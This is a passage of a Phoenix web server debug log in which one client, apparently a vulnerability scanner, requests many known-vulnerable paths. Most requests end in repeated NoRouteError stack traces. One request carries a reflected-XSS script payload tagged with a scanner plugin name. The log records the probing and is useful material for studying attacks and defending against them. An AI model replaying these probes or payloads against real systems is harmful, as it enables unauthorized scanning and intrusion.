    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:24.635000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43898] GET /webhost
[Thu Sep  3 08:31:24.657000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43898] ** (Phoenix.Router.NoRouteError) no route found for GET /webhost (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:31.423000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43908] GET /console/faces/com_sun_web_ui/help/masthead.jsp
[Thu Sep  3 08:31:31.445000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43908] ** (Phoenix.Router.NoRouteError) no route found for GET /console/faces/com_sun_web_ui/help/masthead.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:32.082000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43918] GET /console/faces/com_sun_web_ui/help/helpwindow.jsp
[Thu Sep  3 08:31:32.113000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43918] ** (Phoenix.Router.NoRouteError) no route found for GET /console/faces/com_sun_web_ui/help/helpwindow.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:32.239000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43922] GET /
[Thu Sep  3 08:31:32.239000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43922] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"\"><script>alert('struts_sa_surl_xss.nasl-1788424291')</script>" => ""}
  Pipelines: [:browser]
[Thu Sep  3 08:31:32.240000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43922] Sent 200 in 991µs
[Thu Sep  3 08:31:33.624000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38124] GET /_mem_bin/formslogin.asp
[Thu Sep  3 08:31:33.652000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38124] ** (Phoenix.Router.NoRouteError) no route found for GET /_mem_bin/formslogin.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:37.918000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38134] GET /LoginPage.do
[Thu Sep  3 08:31:37.939000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38134] ** (Phoenix.Router.NoRouteError) no route found for GET /LoginPage.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:40.453000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38136] GET /home.jsf
[Thu Sep  3 08:31:40.476000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38136] ** (Phoenix.Router.NoRouteError) no route found for GET /home.jsf (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:41.059000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 08:31:44.047000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59506] GET /item.fts
[Thu Sep  3 08:31:44.070000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59506] ** (Phoenix.Router.NoRouteError) no route found for GET /item.fts (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:45.426000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59514] GET /index.aspx
[Thu Sep  3 08:31:45.453000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59514] ** (Phoenix.Router.NoRouteError) no route found for GET /index.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:46.031000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59524] GET /Default.aspx
[Thu Sep  3 08:31:46.053000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59524] ** (Phoenix.Router.NoRouteError) no route found for GET /Default.aspx (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:48.006000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59536] GET /login
[Thu Sep  3 08:31:48.022000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59536] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:51.161000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59540] GET /admin/statistics/ConfigureStatistics
[Thu Sep  3 08:31:51.195000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59540] ** (Phoenix.Router.NoRouteError) no route found for GET /admin/statistics/ConfigureStatistics (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:54.136000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45144] GET /altercast/AlterCast
[Thu Sep  3 08:31:54.159000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45144] ** (Phoenix.Router.NoRouteError) no route found for GET /altercast/AlterCast (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:31:56.304000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 08:31:58.086000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45160] GET /nul.dbm
[Thu Sep  3 08:31:58.111000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45160] ** (Phoenix.Router.NoRouteError) no route found for GET /nul.dbm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:00.391000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45168] GET /mxhelp/cgi-bin/namazucgi
[Thu Sep  3 08:32:00.417000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45168] ** (Phoenix.Router.NoRouteError) no route found for GET /mxhelp/cgi-bin/namazucgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:08.369000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50310] GET /index.jsp
[Thu Sep  3 08:32:08.404000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50310] ** (Phoenix.Router.NoRouteError) no route found for GET /index.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:32:09.041000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:50324] GET /index.jsp
[Thu Sep  3 08:32:09.064000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:50324] ** (Phoenix.Router.NoRouteError) no route found for GET /index.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
